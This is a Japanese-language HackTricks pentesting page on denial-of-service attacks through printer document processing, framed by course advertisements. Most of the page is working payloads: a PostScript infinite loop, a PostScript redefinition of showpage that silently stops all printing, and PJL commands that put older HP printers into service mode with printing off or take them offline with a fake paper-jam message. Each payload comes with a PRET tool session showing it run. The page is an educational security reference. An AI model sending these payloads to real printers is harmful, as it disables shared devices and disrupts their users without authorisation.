hacktricks/network-services-pentesting/pentesting-printers/document-processing.md

5.5 KiB
Raw Blame History

htARTE (HackTricks AWS Red Team Expert) を使ってAWSハッキングをゼロからヒーローになる方法を学びましょう

HackTricksをサポートする他の方法:

無限ループや多くの計算時間を要する計算を可能にするページ記述言語。PCLのような最小限の言語でも、利用可能なメモリが消費されるまで永続的なマクロやフォントをアップロードするために使用できます。

PostScript

無限ループ

%!
{} loop

Using PRETを使用して:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

showpageの再定義

showpage を何もしないように設定することで、PostScriptジョブが処理されても何も印刷されません。showpageは、実際にページを印刷するためにすべてのドキュメントで使用されます。

true 0 startjob
/showpage {} def

Using PRETを使用して:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

PJL

PJL jobmedia

独自のPJLコマンドを使用して、LaserJet 4kシリーズのような古いHPデバイスをサービスモードに設定し、以下に示すように、すべての印刷機能を完全に無効にすることができます:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

Using PRETを使用して:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

オフラインモード

さらに、PJL標準ではOPMSGコマンドが定義されており、「指定されたメッセージを表示してプリンターをオフラインにする」\cite{hp1997pjl}ことができます。これは以下に示すように、紙詰まりをシミュレートするために使用できます:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

Using PRET を使用して:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

これらの攻撃についてもっと学ぶには http://hacking-printers.net/wiki/index.php/Document_processing

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法: